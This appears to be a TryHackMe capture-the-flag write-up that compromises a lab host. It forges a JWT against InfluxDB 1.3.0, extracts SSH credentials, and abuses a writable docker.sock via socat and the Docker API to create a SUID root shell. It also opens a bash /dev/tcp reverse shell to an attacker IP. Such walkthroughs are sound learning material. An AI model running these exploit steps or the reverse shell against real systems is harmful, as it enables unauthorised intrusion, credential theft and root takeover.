Recon to foothold

We start by scanning, we’ll use masscan first to catch UDP ports as well as TCP (nmap UDP scans often seem to take forever)

rob:SweettoothInc/ $ sudo masscan -p1-65535,U:1-65535 10.10.108.145 --rate=1000 -e tun0
[sudo] password for rob: 
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-07-28 11:56:18 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 47816/tcp on 10.10.108.145                                
Discovered open port 111/tcp on 10.10.108.145                                  
Discovered open port 2222/tcp on 10.10.108.145                                 
Discovered open port 8086/tcp on 10.10.108.145 

Ok, let’s do an nmap scan now on these ports to detect services etc.

rob:SweettoothInc/ $ nmap -A -v -T4 -p111,2222,8086,47816 10.10.108.145
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-28 13:09 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Initiating Ping Scan at 13:09
Scanning 10.10.108.145 [2 ports]
Completed Ping Scan at 13:09, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:09
Completed Parallel DNS resolution of 1 host. at 13:09, 0.03s elapsed
Initiating Connect Scan at 13:09
Scanning 10.10.108.145 [4 ports]
Discovered open port 111/tcp on 10.10.108.145
Discovered open port 2222/tcp on 10.10.108.145
Discovered open port 8086/tcp on 10.10.108.145
Discovered open port 47816/tcp on 10.10.108.145
Completed Connect Scan at 13:09, 0.01s elapsed (4 total ports)
Initiating Service scan at 13:09
Scanning 4 services on 10.10.108.145
Completed Service scan at 13:09, 13.15s elapsed (4 services on 1 host)
NSE: Script scanning 10.10.108.145.
Initiating NSE at 13:09
Completed NSE at 13:09, 0.58s elapsed
Initiating NSE at 13:09
Completed NSE at 13:09, 0.04s elapsed
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Nmap scan report for 10.10.108.145
Host is up (0.011s latency).

PORT      STATE SERVICE VERSION
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          41853/udp6  status
|   100024  1          47816/tcp   status
|   100024  1          49654/udp   status
|_  100024  1          49794/tcp6  status
2222/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 b0:ce:c9:21:65:89:94:52:76:48:ce:d8:c8:fc:d4:ec (DSA)
|   2048 7e:86:88:fe:42:4e:94:48:0a:aa:da🆎34:61:3c:6e (RSA)
|   256 04:1c:82:f6:a6:74:53:c9:c4:6f:25:37:4c:bf:8b:a8 (ECDSA)
|_  256 49:4b:dc:e6:04:07:b6:d5:ab:c0:b0:a3:42:8e:87:b5 (ED25519)
8086/tcp  open  http    InfluxDB http admin 1.3.0
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
47816/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.43 seconds

nmap shows us the answer to #2.1: InfluxDB

Let’s check out the web page then on port 8086

Ok, that’s weird, nmap was able to retrieve a title, but we just get a 404 message

While doing some googling research to see if this application has well known file locations or default creds we find an exploit for exactly this version, 1.3. Let’s give that a go

  1. Discover a user name in the system via the following URL: https://\<influx-server-address\>:8086/debug/requests

    This returns JSON data enumerating users and their number of queries and writes

    From this we can get #3.1: o5yY6yya

  2. Create a valid JWT token with this user, an empty secret, and a valid expiry date

    Ok, we need to create a valid expiry date before we can proceed. We can get this using the date command and a formatting sequence to display it as a timestamp, %s

    rob:SweettoothInc/ $ date --date "this day next month" '+%s'
    1630155252
    

    Sidenote: this conversion from a human-readable string is amazing, it can make sense of almost any time no matter how it’s stated, makes the command much easier to use

    Edit: this fails, it’s too far in the future, however --date "tomorrow" works fine

    Now we can use jwt.io to create our JWT token

    Note we must delete the default your-256-bit-secret in the signature field. It’s not a prompt, it’s actual text

    And we get a result of eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM

  3. Authenticate to the server using the HTTP header: Authorization: Bearer <The generated JWT token>

    We can find a guide to the API syntax here from which we can see the following example

    curl -G 'http://localhost:8086/query?pretty=true' --data-urlencode "db=mydb" --data-urlencode "q=SELECT \"value\" FROM \"cpu_load_short\" WHERE \"region\"='us-west'"
    

    Let’s modify this now and see can we grab the names of the databases

    rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "q=show   databases" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM"
    {
         "results": [
             {
                 "statement_id": 0,
                 "series": [
                     {
                         "name": "databases",
                         "columns": [
                             "name"
                         ],
                         "values": [
                             [
                                 "creds"
                             ],
                             [
                                 "docker"
                             ],
                             [
                                 "tanks"
                             ],
                             [
                                 "mixer"
                             ],
                             [
                                 "_internal"
                             ]
                         ]
                     }
                 ]
             }
         ]
     }
    

    Excellent, we’re in business! We have our foothold

Foothold to user

We can have a look at the tanks database first. We need to know what ‘series’ are available

rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=tanks" --data-urlencode "q=SHOW SERIES" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM" 
{
    "results": [
        {
            "statement_id": 0,
            "series": [
                {
                    "columns": [
                        "key"
                    ],
                    "values": [
                        [
                            "fruitjuice_tank"
                        ],
                        [
                            "gelatin_tank"
                        ],
                        [
                            "sugar_tank"
                        ],
                        [
                            "water_tank"
                        ]
                    ]
                }
            ]
        }
    ]
}

Ok, so we can see that the Water Tank is recording its measurements in the water_tank series. We need to know the fields that are being stored, can’t use ‘temp’ if the field is called ‘water_tank_temp’ for example

rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=tanks" --data-urlencode "q=SHOW FIELD KEYS FROM \"water_tank\"" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM" 
{
    "results": [
        {
            "statement_id": 0,
            "series": [
                {
                    "name": "water_tank",
                    "columns": [
                        "fieldKey",
                        "fieldType"
                    ],
                    "values": [
                        [
                            "filling_height",
                            "float"
                        ],
                        [
                            "temperature",
                            "float"
                        ]
                    ]
                }
            ]
        }
    ]
}

Ok, we have everything we need now, let’s make a query for temperature at time 1621346400

rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=tanks" --data-urlencode "q=SELECT \"temperature\" FROM \"water_tank\" WHERE time = 1621346400s" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM"
{
   "results": [
       {
           "statement_id": 0,
           "series": [
               {
                   "name": "water_tank",
                   "columns": [
                       "time",
                       "temperature"
                   ],
                   "values": [
                       [
                           "2021-05-18T14:00:00Z",
                           22.5
                       ]
                   ]
               }
           ]
       }
   ]
}

So from this we get #3.2: 22.5

For the next one we need to use a different database, mixer. Again let’s check the series names

rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=mixer" --data-urlencode "q=SHOW SERIES" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM" 
{
   "results": [
       {
           "statement_id": 0,
           "series": [
               {
                   "columns": [
                       "key"
                   ],
                   "values": [
                       [
                           "mixer_stats"
                       ]
                   ]
               }
           ]
       }
   ]
}

Just the one this time, mixer_stats. And it has fields as foillows

rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=mixer" --data-urlencode "q=SHOW FIELD KEYS FROM \"mixer_stats\"" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM" 
{
    "results": [
        {
            "statement_id": 0,
            "series": [
                {
                    "name": "mixer_stats",
                    "columns": [
                        "fieldKey",
                        "fieldType"
                    ],
                    "values": [
                        [
                            "filling_height",
                            "float"
                        ],
                        [
                            "motor_rpm",
                            "float"
                        ],
                        [
                            "temperature",
                            "float"
                        ]
                    ]
                }
            ]
        }
    ]
}

And so now we can query the max rpm reached

rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=mixer" --data-urlencode "q=SELECT MAX(\"motor_rpm\") FROM \"mixer_stats\"" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM"
{
    "results": [
        {
            "statement_id": 0,
            "series": [
                {
                    "name": "mixer_stats",
                    "columns": [
                        "time",
                        "max"
                    ],
                    "values": [
                        [
                            "2021-05-20T15:00:00Z",
                            4875
                        ]
                    ]
                }
            ]
        }
    ]
}

And we get #3.3: 4875

Finally for this part we can see the creds database which looks interesting, let’s see what it contains. First we’ll list what series have been defined

rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=creds" --data-urlencode "q=SHOW SERIES" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM" 
{
    "results": [
        {
            "statement_id": 0,
            "series": [
                {
                    "columns": [
                        "key"
                    ],
                    "values": [
                        [
                            "ssh,user=uzJk6Ry98d8C"
                        ]
                    ]
                }
            ]
        }
    ]
}

Ok, we get just the one response, and it appears to include the answer as well, we get #3.4: uzJk6Ry98d8C

Are there more fields?

rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=creds" --data-urlencode "q=SHOW FIELD KEYS" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM" 
{
    "results": [
        {
            "statement_id": 0,
            "series": [
                {
                    "name": "ssh",
                    "columns": [
                        "fieldKey",
                        "fieldType"
                    ],
                    "values": [
                        [
                            "pw",
                            "float"
                        ]
                    ]
                }
            ]
        }
    ]
}

Yes, we find a pw field, seems likely this is a password to go with our found username

rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=creds" --data-urlencode "q=SELECT \"pw\" FROM \"ssh\"" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM" 
{
    "results": [
        {
            "statement_id": 0,
            "series": [
                {
                    "name": "ssh",
                    "columns": [
                        "time",
                        "pw"
                    ],
                    "values": [
                        [
                            "2021-05-16T12:00:00Z",
                            7788764472
                        ]
                    ]
                }
            ]
        }
    ]
}

So we have a full set of credentials, uzJk6Ry98d8C:7788764472

Let’s use them to login via SSH

rob:SweettoothInc/ $ ssh -p 2222 uzJk6Ry98d8C@10.10.45.28
The authenticity of host '[10.10.45.28]:2222 ([10.10.45.28]:2222)' can't be established.
ECDSA key fingerprint is SHA256:m7yl6Q13T1eePlSp8SzRHz+ulMEmSYzqakcD/LmhPXo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.45.28]:2222' (ECDSA) to the list of known hosts.
uzJk6Ry98d8C@10.10.45.28's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
uzJk6Ry98d8C@63aee996f3df:~$ id
uid=1000(uzJk6Ry98d8C) gid=1000(uzJk6Ry98d8C) groups=1000(uzJk6Ry98d8C)

And we can grab a flag

uzJk6Ry98d8C@63aee996f3df:~$ cat user.txt 
THM{REDACTED}

We got 3.5: THM{REDACTED}

Privesc to container root

There are 2 routes here, for some learning we will take the second path but the first is much easier

  1. Don’t SSH to the box as above, instead use ssh and the found credentials to make a proxy forwarding tunnel. Now we can use the full range of tools on our attackbox, including the docker binary, which makes getting a root shell much easier
  2. Don’t make a tunnel and instead login to the container and using curl throughdocker.sock escalate privileges

A quick check shows us that we are in a container

uzJk6Ry98d8C@63aee996f3df:~$ ls -la /.dockerenv 
-rwxr-xr-x 1 root root 0 Jul 28 13:52 /.dockerenv

Another check gives us a clue for privesc

uzJk6Ry98d8C@63aee996f3df:~$ ls -la /var/run/docker.sock 
srw-rw-rw- 1 root influxdb 0 Jul 28 13:52 /var/run/docker.sock

We have write privileges to the docker.sock file as a low-privilege user. This means we can talk to the docker daemon residing on the host and send commands. Let’s try listing containers to prove the concept

uzJk6Ry98d8C@63aee996f3df:~$ curl -s --unix-socket /var/run/docker.sock http:/containers/json        
curl: option --unix-socket: is unknown
curl: try 'curl --help' or 'curl --manual' for more information
uzJk6Ry98d8C@63aee996f3df:~$ curl -V
curl 7.38.0 (x86_64-pc-linux-gnu) libcurl/7.38.0 OpenSSL/1.0.1t zlib/1.2.8 libidn/1.29 libssh2/1.4.3 librtmp/2.3
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp scp sftp smtp smtps telnet tftp 
Features: AsynchDNS IDN IPv6 Largefile GSS-API SPNEGO NTLM NTLM_WB SSL libz TLS-SRP

Ah but of course, the abilty for curl to work through a socket was added in version 7.40, and we have version 7.38!

uzJk6Ry98d8C@63aee996f3df:~$ which socat
/usr/bin/socat

We do have socat though. Let’s connect to the socket this way, it’s a little more complicated, but not a lot

uzJk6Ry98d8C@63aee996f3df:~$ echo -e "GET /containers/json HTTP/1.1\nHost: localhost\r\n" | socat unix-connect:/var/run/docker.sock STDIO | sed '1,9d' | jq .[].Names
[
  "/sweettoothinc"
]

A few things here to note

  • We have to add the Host header to our request
  • We need a sed to remove the standard HTTP response headers which jq can’t parse

Wait a moment, could we use socat to forward a port to this socket? Then we could just use curl after all

uzJk6Ry98d8C@63aee996f3df:~$ socat TCP-LISTEN:2376,reuseaddr,fork UNIX-CONNECT:/var/run/docker.sock &
[1] 8034
uzJk6Ry98d8C@63aee996f3df:~$ curl -s http://localhost:2376/containers/json | jq .[].Names
[
  "/sweettoothinc"
]

Yes we can!

We have one container, it’s got a tricky name though /sweettoothinc, the / will cause us problems (it has to be included in our curl URL). We can alternatively use the container Id, so let’s grab that instead

uzJk6Ry98d8C@63aee996f3df:~$ curl -s http://localhost:2376/containers/json | jq .[].Id
"63aee996f3df21e1f31e78d3df9a3a43bd66c31057e60d089b745fc3ad7e4693"

Ok, let’s get this done then. First we need to create an ‘Exec’ in the container, then start it. This is done in one step if you use the docker command, but here we have to do it in stages. We can use the docker api documentation to guide us

uzJk6Ry98d8C@63aee996f3df:~$ curl -X POST http://localhost:2376/containers/63aee996f3df21e1f31e78d3df9a3a43bd66c31057e60d089b745fc3ad7e4693/exec -H "Content-Type: application/json" -d '{ "AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/bash", "-c", "cp /bin/bash /tmp/rootshell; chmod +s /tmp/rootshell" ], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}'
{"Id":"16311265b75908d500a19acaf3496771da5d9b517ba59844dedaf6b7552518d5"}

The tricky part here is the definition of the command, unlike as it appears to be documented here each string in the Cmd array is not a standalone command, but rather the first is the entrypoint command and each subsequent string is a parameter to that command. Hence in this case we define it as follows

"Cmd": [
    "/bin/bash",
    "-c",
    "cp /bin/bash /tmp/rootshell; chmod +s /tmp/rootshell"
],

Now this returned an Id that we will now use to execute the command

uzJk6Ry98d8C@63aee996f3df:~$ curl -X POST http://localhost:2376/exec/16311265b75908d500a19acaf3496771da5d9b517ba59844dedaf6b7552518d5/start -H "Content-Type: application/json" -d '{ "Detach": false, "Tty": true }'

So, if this has been successful then we should find a SUID/SGID rootshell in /tmp

uzJk6Ry98d8C@63aee996f3df:~$ ls -lA /tmp
total 1008
-rwsr-sr-x 1 root root 1029624 Jul 28 19:10 rootshell

Excellent, we can get root now and capture the next flag

uzJk6Ry98d8C@63aee996f3df:~$ /tmp/rootshell -p 
rootshell-4.3# id
uid=1000(uzJk6Ry98d8C) gid=1000(uzJk6Ry98d8C) euid=0(root) egid=0(root) groups=0(root),1000(uzJk6Ry98d8C)
rootshell-4.3# cat /root/root.txt
THM{REDACTED}

And so we get #4.1: THM{REDACTED}

If we wanted a full shell here we can do this, first defining an exec task that runs a reverse shell, and then executing it

uzJk6Ry98d8C@63aee996f3df:~$ curl -X POST http://localhost:2376/containers/63aee996f3df21e1f31e78d3df9a3a43bd66c31057e60d089b745fc3ad7e4693/exec -H "Content-Type: application/json" -d '{ "AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/10.14.6.26/1234 0>&1" ], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}'
{"Id":"751b83eb080ccd9776a110101e2c8963bf60d8d7de7d7608c68fe8c8502c65af"}
uzJk6Ry98d8C@63aee996f3df:~$ curl -X POST http://localhost:2376/exec/751b83eb080ccd9776a110101e2c8963bf60d8d7de7d7608c68fe8c8502c65af/start -H "Content-Type: application/json" -d '{ "Detach": false, "Tty": true }'

And at our waiting listener we pop a shell

rob:SweettoothInc/ $ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.45.28] 45850
root@63aee996f3df:/# id
uid=0(root) gid=0(root) groups=0(root)

Container escape

Now … escape the container, didn’t take notes here for some reason!

And with that we can grab the final flag

root@4b164631f4c7:/mnt/host/root# cat root.txt
cat root.txt
THM{REDACTED}